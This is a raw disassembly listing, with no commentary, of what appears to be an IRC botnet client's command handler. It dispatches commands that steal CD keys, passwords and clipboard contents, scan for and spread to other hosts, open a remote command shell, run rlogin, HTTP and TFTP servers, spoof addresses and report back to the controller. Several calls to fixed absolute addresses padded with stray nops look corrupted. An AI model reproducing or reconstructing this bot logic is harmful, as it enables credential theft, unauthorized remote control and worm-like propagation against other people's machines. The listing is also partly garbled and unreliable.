		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1CC
		push	offset dword_42C1C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1BC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C174
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C140
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C098
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C024
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42BFE8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315F2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431410, ebx
		mov	[ebp+var_734], 4Bh
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431410


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431410[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF28
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE94
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42BE24
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2660A7Ah
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42BDAC


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42BD34
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD10
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE4
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB8


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC94
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC68
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC50
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC34
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
